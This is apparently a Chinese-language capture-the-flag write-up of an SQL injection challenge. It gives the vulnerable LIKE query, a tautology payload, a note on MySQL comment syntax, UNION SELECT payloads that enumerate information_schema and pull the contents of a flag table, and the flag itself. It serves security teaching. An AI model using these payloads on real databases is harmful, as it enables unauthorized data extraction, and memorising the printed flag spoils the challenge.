题目描述
观察
打开网页:
随便尝试输入点内容会发现
搜索的语句是
1 | SELECT * FROM inventory WHERE name LIKE '%1%' |
所有尝试输入
1 | ' OR 1=1 -- - |
会发现可以注入成功。
注意,在MySQL/MariaDB中,如果 --
后紧跟 %
,它 不会被识别为注释符,而是视作 --%
,导致SQL语法错误。所以我们这里注入时需要在--
后面加上空格以及一个任意符号/字母/数字(比如说-
)。
也就是说这道题的注入格式为
1 | ' injection_code -- - |
并且注意到当前的表格一共有5列内容。
渗透
由于在当前表格里没有找到flag相关的内容,所以我们先查看当前所有的表格信息:
1 | ' UNION SELECT null, table_name, null, null,null FROM information_schema.tables WHERE table_schema=database() -- - |
发现有一个名为flag的表格。那么现在来查看一下这个表格有哪些列:
1 | ' UNION SELECT column_name, null,null,null, null FROM information_schema.columns WHERE table_name='flag' -- - |
发现只有一列内容,并且这列的名字也叫flag。接着查看这列的具体内容即可得到flag:
1 | ' UNION SELECT flag,null,null,null,null from flag -- - |
1 | HTB{un10n_1Nj3ct1on_15_345y_t0_l34rn_r1gh17?} |